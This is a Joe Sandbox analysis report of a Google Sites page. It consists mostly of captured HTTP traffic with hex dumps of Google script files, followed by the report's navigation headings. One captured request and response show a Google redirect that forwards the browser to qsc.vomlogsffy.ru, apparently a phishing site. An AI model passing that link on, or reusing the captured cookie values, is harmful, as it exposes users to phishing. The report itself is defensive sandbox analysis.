2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 Data Ascii: _hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw E
2024-12-18 16:17:18 UTC	1390	IN	Data Raw: 74 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 Data Ascii: this[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.protot
2024-12-18 16:17:19 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e Data Ascii: ction(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.n
2024-12-18 16:17:19 UTC	1390	IN	Data Raw: 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 Data Ascii: ray.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("S

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:21 UTC	778	OUT	GET /_/scs/abc-static/_/js/k=gapi.lb.en.eXGUr_3hPjA.O/m=client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo-g8reFxkIuQ1pTpW4rHM0-Devz-A/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCPzQzgEInNLOAQiO084BCNbUzgEY9MnNAQ== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
2024-12-18 16:17:22 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 322644 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 13 Dec 2024 04:18:30 GMT Expires: Sat, 13 Dec 2025 04:18:30 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:38:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 475132 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-18 16:17:22 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b Data Ascii: alue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 Data Ascii: function(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 7b 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 Data Ascii: {for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;thi
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 68 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 Data Ascii: h("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototy
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 64 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c Data Ascii: done)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regul
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 Data Ascii: _hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw E
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 74 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 Data Ascii: this[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.protot
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e Data Ascii: ction(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.n
2024-12-18 16:17:22 UTC	1390	IN	Data Raw: 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 Data Ascii: ray.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("S

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:25 UTC	1671	OUT	GET /url?q=https%3A%2F%2Fqsc.vomlogsffy.ru%2Fz9yaFIg%2F&sa=D&sntz=1&usg=AOvVaw0qTysX0k8kMDawtAOx2OGv HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "131.0.6778.109" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "15.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="131.0.6778.109", "Chromium";v="131.0.6778.109", "Not_A Brand";v="24.0.0.0" sec-ch-ua-form-factors: "Desktop" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2024 X-Browser-Validation: QFEz3B6Z4AT6PlLzuts1mBxQGCM= X-Browser-Copyright: Copyright 2024 Google LLC. All rights reserved. X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
2024-12-18 16:17:25 UTC	373	IN	HTTP/1.1 200 OK Location: https://qsc.vomlogsffy.ru/z9yaFIg/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Date: Wed, 18 Dec 2024 16:17:25 GMT Server: gws Content-Length: 358 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-18 16:17:25 UTC	358	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 71 73 63 2e 76 6f 6d 6c 6f 67 73 66 66 79 2e 72 75 2f 7a 39 79 61 46 49 67 2f 22 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 71 73 63 2e 76 6f 6d 6c 6f 67 73 66 66 79 2e 72 75 2f 7a 39 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://qsc.vomlogsffy.ru/z9yaFIg/"></HEAD><BODY onLoad="location.replace('https://qsc.vomlogsffy.ru/z9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sites.google.com/kula.ai/rdps/home

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Windows Analysis Report
https://sites.google.com/kula.ai/rdps/home

Timestamp	Bytes transferred	Direction	Data
